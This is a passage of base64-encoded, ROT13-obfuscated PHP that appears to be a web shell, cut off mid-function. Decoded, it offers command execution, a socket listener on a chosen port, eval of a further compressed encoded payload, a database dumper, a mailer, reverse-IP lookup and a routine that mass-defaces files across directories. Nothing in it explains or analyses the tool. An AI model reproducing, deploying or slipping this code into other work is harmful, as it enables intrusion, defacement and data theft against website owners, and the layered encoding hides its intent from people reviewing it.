10gPT0gJ2ZicHhyZycpIHsNCnJwdWIgJzx1ZT4nOw0KcnB1YiAnPG9lPjxvZT48c2JleiByYXBnbGNyPSJ6aHlndmNuZWcvc2Jlei1xbmduIiB6cmd1YnE9ImNiZmciPkNiZWcgOiA8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0iY2JlZyIgY3lucHJ1YnlxcmU9IjE5ODciPjxvZT48b2U+VUdaWSA6IDxvZT48b2U+PGdya2duZXJuIGZnbHlyPSJqdnFndTogNDUlIiBlYmpmPSI1IiBhbnpyPSJ1Z3p5Ij5VbnB4cnEgT2wgS00tRnJwPC9ncmtnbmVybj48b2U+PG9lPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZicHhyZyIgaW55aHI9IkZicHhyZyAhISEiPjwvc2Jlej4nOyB2cyh2ZmZyZygkX0NCRkdbJ2ZicHhyZyddKSkgeyBmcmdfZ3Z6cl95dnp2ZygwKTsgJG5xcWVyZmYgPSAnMC4wLjAuMCc7ICRjYmVnID0gJF9DQkZHWydjYmVnJ107JHVnenl6aCA9ICRfQ0JGR1sndWd6eSddLiJcYSI7JGZicHggPSBmYnB4cmdfcGVybmdyKE5TX1ZBUkcsIEZCUFhfRkdFUk5aLCAwKTsgZmJweHJnX292YXEoJGZicHgsICRucXFlcmZmLCAkY2JlZykgYmUgcXZyKCdHdnFueCBPdmZuIFBiYWFycGcgWHIgVkMnKTsgcnB1YiAiXGEgWnJ6aHludiBYYmFyeGZ2IENucW4gQ2JlZyAkY2JlZyBcYVxhIjsganV2eXIoMSkgeyBmYnB4cmdfeXZmZ3JhKCRmYnB4KTsgJHB5dnJhZyA9IGZicHhyZ19ucHByY2coJGZicHgpOyAkdmFjaGcgPSBmYnB4cmdfZXJucSgkcHl2cmFnLCAxMDI0KTsgJHZhcGJ6dmF0ID0gbmVlbmwoKTsgJHZhcGJ6dmF0ID0gcmtjeWJxcigiXGVcYSIsICR2YWNoZyk7ICRzcmdwdU5lZW5sID0gbmVlbmwoKTsgJHNyZ3B1TmVlbmwgPSBya2N5YnFyKCIgIiwgJHZhcGJ6dmF0WzBdKTsgJHN2eXIgPSAkc3JncHVOZWVubFsxXTtycHViICRzcmdwdU5lZW5sWzBdIC4gIiBFcmRocmZnICIgLiAkc3Z5ciAuICJcYSI7ICRiaGdjaGcgPSAiIjsgJFVybnFyZSA9ICJVR0dDLzEuMSAyMDAgQlggXGVcYSIgLiAiRnJlaXJlOiBOYW5lcHViS2N5YnZnXGEiIC4gIkVuY3JxIE9sIEtNLUZycFxhIiAuICJQYmFncmFnLUdsY3I6IGdya2cvdWd6eSBcZVxhXGVcYSIgLiAkdWd6eXpoOyRiaGdjaGcgPSAkVXJucXJlOyBmYnB4cmdfamV2Z3IoJHB5dnJhZywkYmhnY2hnLGZnZXlyYSgkYmhnY2hnKSk7IGZicHhyZ19weWJmcigkcHl2cmFnKTsgfSB9IHJwdWIgJyZwYmNsO1BiY2xldnR1ZyBLTS1GcnA8L2dxPjwvZ25veXI+PC9wcmFncmU+JzsNCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICdyYXFyJykgeyANCnJwdWIgJzx1ZT4nOw0KcmlueSh0bXZhc3luZ3Iob25mcjY0X3FycGJxcignZ0lNcW81ZmpTVTJDeUM5ak1ISlNGVDFjaDNKbnhmUHpuSzNyY0I1Z3pjTk9XN1NYb1Rub2d6YUkvbTRvTmxVeVY4YVF2V1hOc3I2NTllYWFWY0E0bXBSTXdrTUZvSVpGd1JyS1pLK04xL1JWbHZpUDhwQVg4V2p5U21TQ2hNdGN0TWFaZlBPWm1FZmpZdVZ2TWFQcUNMQ3hYSDBOLzgxa04yUFFsOFIzYXFQZVp2NHZhemp1SnVIVlUwSmNtYndaclhrR1JUVWh5Y2pjeENGUytCdEpERHgwS1B2NHdqS0FTQWxrelBwUm1oTjdaR3BZbTREUndmNzF5R1ZuRmRXcHUrcGRsMUhMNXBmeVJNRmdhQ0JlNkVsbnZWR1hZWktveE53T3VLR0JERENUYjR4dm1qYzh6VkQvczltLytoMkxPWjRzQ0dScnhIZCtXRXBvMk9QMTViekNadjRJUHVuRVhZNTYxdU9ia0dRUlhNb0ZFMWV3THVpRi8zalN0dzlXL2tMTDN1Tm14a05xNnlIRUdFTVdIdVhlQ0Q0b2tRQUZQWkxtRUd6UUU1bXpyd0RLWEpUSkc5OGhDUWlva3hJTHh4OHNIc1BnK0IvVTVEVlNaSnJDRVh0am0vZ2tka3NYeXZ5SkVYWHRpYnBZdk43akZsSWhIWE8vRDhVSTlMcHdWemUyL29OR3gvTFVhN1ZKWUdSWFlUdk5NbnNzaktJNmdnbU9UTGd4QXk5RGNlM29lUTBQZ3AzWlFpV2JEMUl5dXJkY0tBSXFuRFFBMWxWTHZXcDF0SjJhdGZObVV2OW5sYWp6U2d5YlBtZ0RBTk1xdHhoeW5ueEZBYzNkSThkUk1tZzRMSWRReUg5SGtKZ2o5cmpIS3pCZ05tdUpRSnBUUjUycStpTGtnVDUydjNMMHNFYWMvYXZMMmp0Z2Z0WkkzZzBDZE5pdGV5NEZIdndyVFlBMDVhY1VKTXFhRTdtQ0I4R0prbEhDeDVISDdEM3I5WkoyMGUrWWVxOFJCalhPYStlRW94S211ZE43Mmo1VWNWcTMxNllkZHg1S2pzcVljV1I0RzlLWkNlMjlRSXlGL3hxQ1doRVZHbW4zSktkdWZzSTlnY1o4MkhLcGdvdndDVXpOTGdQR3NvZjUwTUFRdmFNN3B3dnY3cHhGMzFKVVN6enNWUjFHUWVpRlV1VEJCdFliNkxGbXFPZjR5MmgxMHNiYmR2dkVvZVU2Nm5LR0NPTTQ1cnpicnU5L1BzNE8nKSkpOw0KDQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAnZXJpdmMnKSB7DQpycHViICc8dWU+JzsNCglzaGFwZ3ZiYSBmNTdfcGhleSgkcWJ6cmEpew0KCSRwID0gcGhleV92YXZnKCk7DQoJJHBoZXkgPSBuZWVubCgNCgkJUEhFWUJDR19IRVk9PiJ1Z2djOi8vaXZyanFhZi52YXNiL2VyaXJlZnJ2Yy8/dWJmZz0iLiRxYnpyYS4iJmc9MSIsDQoJCVBIRVlCQ0dfSEZSRU5UUkFHPT4iSGZyZS1OdHJhZz1aYm12eXluLzUuMCAoSnZhcWJqZiBBRyA2LjE7IEpCSjY0OyBlaTo1My4wKSBUcnB4Yi8yMDEwMDEwMSBTdmVyc2JrLzUzLjAiLA0KCQlQSEVZQkNHX0VSR0hFQUdFTkFGU1JFPT4xLA0KCQlQSEVZQkNHX0ZGWV9JUkVWU0xDUlJFPT4wLA0KCQlQSEVZQkNHX1VSTlFSRT0+MCwNCgkJUEhFWUJDR19TQllZQkpZQlBOR1ZCQT0+MSk7DQoJcGhleV9mcmdiY2dfbmVlbmwoJHAsJHBoZXkpOw0KCSRyID0gcGhleV9ya3JwKCRwKTsNCglwaGV5X3B5YmZyKCRwKTsNCgllcmdoZWEgJHI7DQp9DQpzaGFwZ3ZiYSBmNTdfYygkY3J6dmZudSwkZmdldmF0KXsNCiAgICBlcmdoZWEgcmtjeWJxcihwdWUoMSksZmdlX2VyY3lucHIoJGNyenZmbnUscHVlKDEpLCRmZ2V2YXQpKTsNCn0NCg0KcnB1YiAiPHNiZXogenJndWJxPSdjYmZnJz4NCgk8cHJhZ3JlPjx2YWNoZyBweW5mZj0nZ3JrZycgZ2xjcj0nZ3JrZycgYW56cj0ncWJ6bnZhJyBjeW5wcnVieXFyZT0nVkMvUWJ6bnZhJyBmZ2x5cj0nanZxZ3U6IDI1MGNrOyB1cnZ0dWc6IDMzY2s7Jz48dmFjaGcgcHluZmY9J2Zob3p2ZycgZ2xjcj0nZmhvenZnJyBhbnpyPSdmb3pnJyBmZ2x5cj0ncGJ5YmU6IHl2enI7IGp2cWd1OiAzMGNrOyB1cnZ0dWc6IDMzY2s7JyBpbnlocj0nPj4nPg0KCTxvZT48ZmNuYSBmZ2x5cj0nc2JhZy1mdm1yOiAxN2NrOyc+IFpuZmh4dmEgZnZnciBnbmFjbiB1Z2djIG5nbmggdWdnY2YgPC9mY25hPjwvc2Jlej4iOw0KDQoJdnModmZmcmcoJF9DQkZHWydmb3pnJ10pKXsNCnJwdWIgIkVyZmh5ZyBzYmUgOiAiIC4kX0NCRkdbJ3Fiem52YSddOw0KJGUgPSBmNTdfYyhuZWVubCgnPGdub3lyIG9iZXFyZT0iMSI+JywnPGdub3lyIGp2cWd1PSIxMDAwIiBvYmVxcmU9IjAiPicpLGY1N19waGV5KCRfQ0JGR1sncWJ6bnZhJ10pKTsNCnJwdWIgIjxnbm95ciBvYmVxcmU9MT4iOw0KcnB1YiAkZVsxXTsNCnJwdWIgIjwvZ25veXI+PC9wcmFncmU+IjsNCn0NCg0KfSByeWZydnModmZmcmcoJF9UUkdbJ3FvcWh6YyddKSkgew0KcHVxdmUoJHF2ZSk7DQogIHJwdWIgJzxjZXI+PHByYWdyZT4nOw0KICBycHViICcNCjxzYmV6IG5wZ3ZiYT0/cW9xaHpjIHpyZ3VicT1jYmZnPg0KUW5nbm9uZnIgUWh6Yw0KRnJlaXJlICAgICAgICA6IDx2YWNoZyBweW5mZj0idmFjaGdtIiBnbGNyPWdya2cgYW56cj1mcmVpcmUgZnZtcj01Mj4NCkhmcmVhbnpyICAgICAgOiA8dmFjaGcgcHluZmY9InZhY2hnbSIgZ2xjcj1ncmtnIGFuenI9aGZyZWFuenIgZnZtcj01Mj4NCkNuZmZqYmVxICAgICAgOiA8dmFjaGcgcHluZmY9InZhY2hnbSIgZ2xjcj1ncmtnIGFuenI9Y25mZmpiZXEgZnZtcj01Mj4NClFuZ25PbmZyIEFuenIgOiA8dmFjaGcgcHluZmY9InZhY2hnbSIgZ2xjcj1ncmtnIGFuenI9cW9hbnpyIGZ2bXI9NTI+DQpRTyBHbGNyICAgICAgIDogPHNiZXogenJndWJxPWNiZmcgbnBndmJhPSI/cW9xaHpjIj48ZnJ5cnBnIHB5bmZmPSJ2YWNoZ20iIGFuenI9enJndWJxPjxiY2d2YmEgIGlueWhyPSJ0bXZjIj5UbXZjPC9iY2d2YmE+PGJjZ3ZiYSBpbnlocj0iZmR5Ij5GZHk8L2JjZ3ZiYT48L2ZyeXJwZz4NCjx2YWNoZyBweW5mZj0idmFjaGdtb2hnIiBnbGNyPWZob3p2ZyBpbnlocj0iICBRaHpjISAgIiA+DQo8L3NiZXo+PC9wcmFncmU+PC9jZXI+PGZwZXZjZz4nOw0KICB2cyAoJF9DQkZHWydoZnJlYW56ciddICYmICRfQ0JGR1sncW9hbnpyJ10gJiYgJF9DQkZHWyd6cmd1YnEnXSl7DQogICRxbmdyID0gcW5ncigiTC16LXEiKTsNCiAgJHFvZnJlaXJlID0gJF9DQkZHWydmcmVpcmUnXTsNCiAgJHFvaGZyZSA9ICRfQ0JGR1snaGZyZWFuenInXTsNCiAgJHFvY25mZiA9ICRfQ0JGR1snY25mZmpiZXEnXTsNCiAgJHFvYW56ciA9ICRfQ0JGR1sncW9hbnpyJ107DQogICRzdnlyID0gIlFoemMtJHFvYW56ci0kcW5nciI7DQogICR6cmd1YnEgPSAkX0NCRkdbJ3pyZ3VicSddOw0KICB2cyAoJHpyZ3VicT09J2ZkeScpew0KICAkc3Z5cj0iUWh6Yy0kcW9hbnpyLSRxbmdyLmZkeSI7DQogICRzYz1zYmNyYSgkc3Z5ciwiaiIpOw0KICB9cnlmcnsNCiAgJHN2eXI9IlFoemMtJHFvYW56ci0kcW5nci5mZHkudG0iOw0KICAkc2MgPSB0bWJjcmEoJHN2eXIsImoiKTsNCiAgfQ0KICBzaGFwZ3ZiYSBqZXZncigkcW5nbikgew0KICB0eWJvbnkgJHNjOw0KICB2cyAoJF9DQkZHWyd6cmd1YnEnXT09J2ZmZHknKXsNCiAgc2pldmdyKCRzYywkcW5nbik7DQogIH1yeWZyew0KICB0bWpldmdyKCRzYywgJHFuZ24pOw0KICB9fQ0KICB6bGZkeV9wYmFhcnBnICgkcW9mcmVpcmUsICRxb2hmcmUsICRxb2NuZmYpOw0KICB6bGZkeV9mcnlycGdfcW8oJHFvYW56cik7DQogICRnbm95cmYgPSB6bGZkeV9kaHJlbCAoIkZVQkogR05PWVJGIik7DQogIGp1dnlyICgkdiA9IHpsZmR5X3NyZ3B1X25lZW5sKCRnbm95cmYpKSB7DQogICAgICAkdiA9ICR2WydHbm95cmZfdmFfJy4kcW9hbnpyXTsNCiAgICAgICRwZXJuZ3IgPSB6bGZkeV9zcmdwdV9uZWVubCh6bGZkeV9kaHJlbCAoIkZVQkogUEVSTkdSIEdOT1lSICIuJHYpKTsNCiAgICAgIGpldmdyKCRwZXJuZ3JbJ1Blcm5nciBHbm95ciddLiI7YWEiKTsNCiAgICAgICRmZHkgPSB6bGZkeV9kaHJlbCAoIkZSWVJQRyAqIFNFQlogIi4kdik7DQogICAgICB2cyAoemxmZHlfYWh6X2ViamYoJGZkeSkpIHsNCiAgICAgICAgICBqdXZ5ciAoJGViaiA9IHpsZmR5X3NyZ3B1X2ViaigkZmR5KSkgew0KICAgICAgICAgICAgICBzYmVybnB1ICgkZWJqIG5mICR3ID0+ICR4KSB7DQogICAgICAgICAgICAgICAgICAkZWJqWyR3XSA9ICInIi56bGZkeV9yZnBuY3JfZmdldmF0KCR4KS4iJyI7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgamV2Z3IoIlZBRlJFRyBWQUdCICR2IElOWUhSRigiLnZ6Y3licXIoIiwiLCAkZWJqKS4iKTthIik7DQogICAgICAgICAgfQ0KICAgICAgfQ0KICB9DQogIHZzICgkenJndWJxPT0nZmZkeScpew0KICBzcHliZnIgKCRzYyk7DQogIH1yeWZyew0KICB0bXB5YmZyKCRzYyk7fQ0KICB1cm5xcmUoIlBiYWdyYWctUXZmY2Jmdmd2YmE6IG5nZ25wdXpyYWc7IHN2eXJhbnpyPSIgLiAkc3Z5cik7DQogIHVybnFyZSgiUGJhZ3JhZy1HbGNyOiBuY2N5dnBuZ3ZiYS9xYmpheWJucSIpOw0KICB1cm5xcmUoIlBiYWdyYWctWXJhdGd1OiAiIC4gc3Z5cmZ2bXIoJHN2eXIpKTsNCiAgc3loZnUoKTsNCg0KICAkc2MgPSBzYmNyYSgkc3Z5ciwgImUiKTsNCiAganV2eXIgKCFzcmJzKCRzYykpDQogIHsNCiAgICAgIHJwdWIgc2VybnEoJHNjLCA2NTUzNik7DQogICAgICBzeWhmdSgpOw0KICB9DQogIHNweWJmcigkc2MpOw0KICB9DQoNCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICdmbHonKSB7DQpwdXF2ZSgkY25ndSk7DQokYWYgPSAnZmx6LmN1Yyc7DQokc2MgPSBzYmNyYSgkYWYsICdqJyk7DQokeXBlID0gJzdJYzdvOWg2U3M5N05zVnFHY0pocGJvTHZjWWhxYjBzb01keG5Wbit5ZEY3VDlZTnhQS24xeFY5V3lYMXNMZys5azJGeHYzWHh1WjNRdjQyd1JLRnZRYjh3ay9DdGxZTXJFSkNMbFFoQk5WR21DbzIxemdUclcvN05yeUdDL081TDM4S0I1K3JZa2RTWWN1d21oWndsbVh1T0gvN3kycEtzbSs3aFFvSS8vMkNray9CbU9pZ21wS00zNzZwS0k3MWkxbHB6bXB5c3dvbFY5QkxFdTVjelduNU81ZGpYaHpaVy8yUmtBRWtGSEN3cUIxVG5wdzFpeTFidGEybU8rTGxNMkZxVEQ2cVc2cnNHZDcrK3N4Wmt3bHQ4Q2FZei9zYVcyTjBZcmlLamtDWUJlMDZ1Sys4aC9lalVobUpDeW1sa1VyNU1NMTlBWW4zTldoRWpHVE1HU2RHajFuSHdYbGVQMmZkSkF5dm9DTWF4OHpPWUw5N0V6OTduM2hlVjRJQU5rZGxvdEhDKytLWXkyY2JHeDRwUS8vZHBXOUcwZWhwT3FEQ28vaEtRdWwwOXdoSjZjSlJ3WjhiTkc2WUZxc3RNWmJneW1VU042Rk9yNENWejhTM2NHMFJHd1lsamxDTG8ycHFmckE1c3d0ZDlSRGNFMXlSOXNqRHdZbjN2d2o4Q2xSaDlsQ3hEYXpGd0ViNDdoMGJqRmFreno1UmIrRWI1KzFtOEQ5cy8wUzFEUVZuQUJqL1UrNU8vemYzVGxoMG93ZUhVbFNVeTRGcFdXeXBDNGtHaXZxckJqeWs5dXZ1WE92MVRSTHVvMDZWQ2tlbVZrdVIxUkFUek1OcUptb2Y4T2oyV3U3ZlFUSWVQa2ZGd2xQV1VIKzNnMXVSc0ttNUV3b2tmZGovN1dtWGdmUHR1cmpGT0xXSExCdFJDYzBxak1IbXd0V2FRNDRHMzZTN2pXbERBRXlXL1BTTnIwN1ovQThEMExCUXJBY0ozUEdHeWJpaWpDeGhNMGlQNE9SM0Z1bFNvdXZTRVVPRFB5S1FnNDR6T0hLZks2RHZGdkxvQjE0MGpzekJjL1lhUlUvbmhiTVU0K3RvRm80ZTFEU2x2WjV4SDJMSkpFSDU3cm1ZT2NlcUNWdk9XOFA5NzhkNzFabGJGb1VTYkNhUm9UL0FDc0VONm5IdW51OVhEMGNwaklVbUlOcWNITUl1a1hJeVRnaEtaSjhLUUcySmVKT2J5b2ZoNU9zdFR4R0dXTFBzUGppL1Z5ZjdIMEZiVnJ6WVIxYjdhMjAxUUdiQnNWNlFhN3ljZWkzb2cyVlRTYzZaSnBCRm5IQXlSUGlZQXN2YXZVQzF5K3EvTjVwNndVSi96dDZ5SzgyclR2YWVFYVBZRm5PdWZ5ek56S28va0xmS2NxRUFFblYzQ2ZIUHFOTDRVU1BxSDV4M2J6RTJVYWN4UGNzY2dQSW1WZTQ2OWVqZUdUTkZKdGhHaUU5UEY5RGQ5cmRxUjNkSFdWUHpWNmVBMlJ4TE9hTUJIUXo0alF0c21ucTgwSzlPL2MydkJpTkUvSFI4SzZXL2ZCUlp3ZkJNYk1ndmE2WmNlNHFFR1JXY2ZWSDhVQXB5d1hVYzVmREh5dDhhdnArMSt6RnNua0pWMmVobDNYYmZleGRzTVdNUlJHcTE4WHZmcmpCVXhxTldmUm02TnYxdWVYRUdFbmptRlpRZFNyb1ZSWWFXNlJTSlcwUUlQcHdiWVBHZnpLckJvdTVxamtwUlRNN09Yc2RxdzFDM29aN2s1ZHZNd25pekpyTnpIYm5kREFwcU84TFdUS25BSTZ3cGhsdHQwWVRwM3gzY1VNaGpZZFhPV1lLdm40cEVTNHBJNkEzUnczek9VVUc2Ykg5V05ucjMrWHZWQXJDeDdta0o4YndXUXBNMDJpTk1ZYzBuRy9pTUxoc25FQTd6bXI1aEt2Q01rQnNoVFdMYzViSEx6NGdtd1Q1TktDQWIwRnluakV6YnB3OUhSNzJUcEFwRkdoVFdlUWowOC9kTUE2VUxSMjJmV3Y1aWF4OG5PdGJDR0Q1TEl3MGI4R0tYc1U4TmJudWNPRmY1OTBNdTd4MVp0bk1wZ3d0UUVTTXpsbjZjZmREV1I5L3c0Njc1c0MrQ01kL1FpcEo4NExZVEhtM20rcFpVYjcwZnBFdnVsdVdNUUZCVW5uUU15TG9hVFdUUndDbFQrRWlUaWVNRFNCQWRPNGJKNDhPKzRCUVo5d1RhQXBqcWpEWFpFaGdDaDhNQnpNSzJuQWd5SFFKd25aZVR3SUhIRHoxcEhJV1pEZXZoUU9ibjYyaTc1YWNzQlM4Q1F5b2RZOWN2Y1AySzQzVVIvVHkvRVV0OEZLMmlWSTBnemJEeGxzbWdUODR1K3Z5RzYvOGRmRmlIWXR6SE1IU3M0b3NOZ0NXUm5UVDFWbEg1ZEJGMVhLa0dzekpMSWNqQmRCLzJFRTYzV2FTRytYZi94Z2FrL3plVnlWNEo5MEtxVmp5ZW5QZGhMTDlBQUtoRFpEWGxraVFBandUdDBydGFablU0SDQvV25ocGdaOVZqUkxtS2pWRmRHOEdBTG5YakZBS2xvMDFWblAweERmMDFWWFJ5RkJ1NnhUajRuaTRJRURTMVViRVpzRFFFOG1IUFBPekl4U3hldFdPOGY4dzRiSGdHUTFDcW0wRERlTDh0YnJ3OURuVHlQWFllRUVRcXBORTlUbWpEeWtJdUVBcFdWMWJYVjdjclRBUkF1a1JoRUFZdHRxUGZ2UEI2R3VtRUh1bUU5clhWQ3dsQmdXa1lzSW1pZkxxeFRVZ1NaQTJreXZibTBjVGsxamZ6cjhDT2tBVjR3dVkrSkFRTDY4RkdZRENtNTZVRWovVU8wUHZpckVObFpmV2V4WFMwUUpHZlJ3WUhLdGZNcjdDVmZVREQrV203N3YzdW5sV3ZlMFFSaXc4djZPYnlFQmsxUllTWXY4WXMzMXFmZ3A2ZkVab0JHdllobEh2Q1ZmUzRZSkVicWZ2T2EyVW54Y2lodEt6amk3LzB3bytQeXNFbjgxeDRMVVU3WXZGbDc4eW5kcVFnTng5RnBoc2FNV0hCRWU3eUx1ZTZ5VFhOZ2ZOanRHZldEZzgxK2pDZHVZcXo3OXBiOHNRb3p3VGtSMUMxMUk5Zm53cnZsdFFrOHNUNE9ndkNvRE9xWnRQcDBTZ2xST1REejdSSGR4MklGbm1uMVVwc0d2NHNuUG5KYXhzSi9la2hid251aXMzTDJnQVVrWTdQa0duZS9LeHE5YStJVTU0Q0lLOUdCbmNKL29ieGdFVTE2bkxsSVgzNnFGYWQyNWhISGZZOThYUkpDWW8vMFFlLzJNdFN3KzFQZ1o2U3NmWFArbHR6bXlpOFpQSTNab20vRmRYMGU3eUx2ZzB1VndmWTRiYXBtWi91WHFrMmRBeVJ5dmg4M2JkS053TzVXdlBCU3dscUh4NlVjT1JsWUVFKzErZWE3aTMyVGRqZGh4Z3F1cHFPRGNtb3RibWZoVHBKL1g4cTk5bWlmUHA3NjV4czlMdndpZkhHejUvbS9zL3RjNm0ycy9pT21qWkZsZGJ3ODUrR0NxcS9RRDRQWWlBZWwwL2gvNFRjZ2JDU1ZVZHNvbVV5ekxMejFBdmV1TzJ2T1dvVkhJakErcWR5d3BiQ1ZPVXc4YmNWMWxrcVY0UzI5bjB1cEowYVZJNG9tVzZrWGNVYWsrdmU5WXp3SVh4OFdSY09idjZlZFpXRGxSZ3JTV3Z2L2NEZDhTVjlKZFRjZ0lFeTVYblNpUDBObHRra1g0TzcySEhPY3BGZEdEa1FiNTlzWVNRWDUwZldzSC9SSlpKaGhQcmxpQXV0dU1mR2hkWHZFUGJRNFg1U2xCOU1YSElQWGNxWGdwUUwzZWJuUmtRaVZLbzRUVXRSem9LZFJ5Q2tReHBVUDBwTk5yVXdsQmZuekNHeDFNRkJpU2NMaFFJY3RaUDFuOHc3VkxQNVk4SFVBRHBjU3ZjOTZrOWNKYllwTlVVNWR6aThmeitIZTQ3SFB4T1NBRXltTWExOE5qMDR6N290Nk53ZnlldmlnVWdzUEpkQ3BaNDBENlp0SG0xbkNudjY0cVZFY2t5T0cxM2hYZldxR1FObHdzTC9za1czSnJHSHlRQ2IwOGwwTnkzSkgweGRhSVp3U0cxWWNQVjc1aEZJaEprclZlRTBGUVJxUGVoZ0tYaHlNcDdQYUdXVjVnYVBIUFN4TUNyVE9PcE0xZXk5ek5IWjZXSjdFV2xJOElpdTRrNE1CdmF5V3M5Smg1UkE0MzN4TXdwSlA5eFd3cGRBRFpvNlp2Mm1FUWQ3VjIvYXF0MVFxM2Z0Ym5oOFdIUU9zaGp4S1o1NzAzQjR4N2dYVGdBVmRUUE43a0pyNWNNeXBiZCtjOWw1VmFrQmt5VVJJV2pKL091NjJKdDFiYjhsd1dWS1A5VGRDK0MwRXJjdTlRV1VtTUpFaWNVNXc2UVVnVnRzcVhudkF3SWlSbkZpM0Z2cjRMUDM1Ky9DWWFaYWl1TWUyWTVYZHl1T2xsL0l2K0hkZGF5QjllaGFPT1pDSlBjaVBONUdQeCtyNFRnT2J3eVU5RWM3enJhVXZSQm5wNjF1QXNyVk9EZjlQRW9pNXQwd21VOGF4S3NiakpOVFU1WUpaSktCVm96STI0bVVnVXg1OEl5UGx4YTBEOGRiVW1PNDU3djNwZ0hodjRzRDRmczhPaFF2eHlscklPbktGRjJFQTdDODhkZTNVaj09JzsNCiR5cGIgPSB0bXZhc3luZ3Iob25mcjY0X3FycGJxcigkeXBlKSk7DQpzamV2Z3IoJHNjLCAkeXBiKTsNCnNweWJmcigkc2MpOw0KcnB1YiAiPG4gdWVycz0nJGNuZ3UvZmx6LmN1Yyc+Rmx6eXZheCAhISE8L24+IjsNCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICd6bnZ5cmUnKSB7DQpycHViICc8dWU+DQpabnZ5cmUgU2hhcGd2YmEgOiA8L3NiYWc+Jy4kenllLic8b2U+PG9lPg0KPHNiZXogcmFwZ2xjcj0iemh5Z3ZjbmVnL3NiZXotcW5nbiIgenJndWJxPSJjYmZnIj4NClpuZmZudHIgIDogPG9lPjxncmtnbmVybiBweW5mZj0iZ3JrZ25lcm4iIGViamY9IjEwIiBwYnlmPSIxMDAiIGFuenIgPSJwYngiPjwvZ3JrZ25lcm4+PC9vZT48b2U+DQpHbmV0cmcgOiA8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56ciA9InpudnkiIGN5bnBydWJ5cXJlPSJhYnZmcnBlaGZnQHVucHhyZXpudnkucGJ6Ij48L29lPg0KPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0icGViZyIgaW55aHI9Ilh2ZXZ6Ij4NCjwvc2Jlej4nOw0KdnModmZmcmcoJF9DQkZHWydwZWJnJ10pKSB7ICAgICANCiRnYiA9ICRfQ0JGR1snem52eSddOyAgICANCiRmaG93cnBnID0gIkNyZm5hIjsgICAgDQokenJmZm50ciA9ICIiIC4kX0NCRkdbJ3BieCddOyAgICAgDQp2cyh6bnZ5KCRnYiwkZmhvd3JwZywkenJmZm50cikpIHsNCnJwdWIgJzxwcmFncmU+R3JleHZldno8L3ByYWdyZT4nOyANCn0gcnlmciB7DQpycHViICdUbnRueSA6KCc7DQp9DQp9DQp9IHJ5ZnJ2cygkX1RSR1sncWInXSA9PSAncHpxJykgew0KCXJwdWIgIjxzYmV6IHpyZ3VicT0nY2JmZyc+DQoJPHNiYWcgZmdseXI9J2dya2ctcXJwYmVuZ3ZiYTogaGFxcmV5dmFyOyc+Ii4kaGZyZS4iQCIudHJndWJmZ29sYW56cigkX0ZSRUlSRVsnVUdHQ19VQkZHJ10pLiI6fiMgPC9zYmFnPg0KCTx2YWNoZyBnbGNyPSdncmtnJyBmdm1yPSczMCcgdXJ2dHVnPScxMCcgYW56cj0ncHpxJz48dmFjaGcgZ2xjcj0nZmhvenZnJyBhbnpyPSdxYl9wenEnIGlueWhyPSc+Pic+DQoJPC9zYmV6PiI7DQoJdnMoJF9DQkZHWydxYl9wenEnXSkgew0KCQlycHViICI8Y2VyPiIucmtyKCRfQ0JGR1sncHpxJ10pLiI8L2Nlcj4iOw0KCX0NCn0gcnlmcnZzKCRfVFJHWydxYiddID09ICd6bmZmX3Fyc25wcicpIHsNCglzaGFwZ3ZiYSBmbm9oYV96bmZmbnkoJHF2ZSwkYW56bnN2eXIsJHZmdl9mcGV2Y2cpIHsNCgkJdnModmZfamV2Z25veXIoJHF2ZSkpIHsNCgkJCSRxdmVuID0gZnBuYXF2ZSgkcXZlKTsNCgkJCXNiZXJucHUoJHF2ZW4gbmYgJHF2ZW8pIHsNCgkJCQkkcXZlcCA9ICIkcXZlLyRxdmVvIjsNCgkJCQkkeWJ4bmZ2ID0gJHF2ZXAuJy8nLiRhbnpuc3Z5cjsNCgkJCQl2cygkcXZlbyA9PT0gJy4nKSB7DQoJCQkJCXN2eXJfY2hnX3BiYWdyYWdmKCR5YnhuZnYsICR2ZnZfZnBldmNnKTsNCgkJCQl9IHJ5ZnJ2cygkcXZlbyA9PT0gJy4uJykgew0KCQkJCQlzdnlyX2NoZ19wYmFncmFnZigkeWJ4bmZ2LCAkdmZ2X2ZwZXZjZyk7DQoJCQkJfSByeWZyIHsNCgkJCQkJdnModmZfcXZlKCRxdmVwKSkgew0KCQkJCQkJdnModmZfamV2Z25veXIoJHF2ZXApKSB7DQoJCQkJCQkJcnB1YiAiWzxzYmFnIHBieWJlPXl2enI+UUJBUjwvc2JhZz5dICR5YnhuZnY8b2U+IjsNCgkJCQkJCQlzdnlyX2NoZ19wYmFncmFnZigkeWJ4bmZ2LCAkdmZ2X2ZwZXZjZyk7DQoJCQkJCQkJJHZxayA9IGZub2hhX3puZmZueSgkcXZlcCwkYW56bnN2eXIsJHZmdl9mcGV2Y2cpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCXNoYXBndmJhIGZub2hhX292bmZuKCRxdmUsJGFuem5zdnlyLCR2ZnZfZnBldmNnKSB7DQoJCXZzKHZmX2pldmdub3lyKCRxdmUpKSB7DQoJCQkkcXZlbiA9IGZwbmFxdmUoJHF2ZSk7DQoJCQlzYmVybnB1KCRxdmVuIG5mICRxdmVvKSB7DQoJCQkJJHF2ZXAgPSAiJHF2ZS8kcXZlbyI7DQoJCQkJJHlieG5mdiA9ICRxdmVwLicvJy4kYW56bnN2eXI7DQoJCQkJdnMoJHF2ZW8gPT09ICcuJykgew0KCQkJCQlzdnlyX2NoZ19wYmFncmFnZigkeWJ4bmZ2LCAkdmZ2X2ZwZXZjZyk7DQoJCQkJfSByeWZydnMoJHF2ZW8gPT09ICcuLicpIHsNCgkJCQkJc3Z5cl9jaGdfcGJhZ3JhZ2YoJHlieG5mdiwgJHZmdl9mcGV2Y2cpOw0KCQkJCX0gcnlmciB7DQoJCQkJCXZzKHZmX3F2ZSgkcXZlcCkpIHsNCgkJCQkJCXZzKHZmX2pldmdub3lyKCRxdmVwKSkgew0KCQkJCQkJCXJwdWIgIls8c2JhZyBwYnliZT15dnpyPlFCQVI8L3NiYWc+XSAkeWJ4bmZ2PG9lPiI7D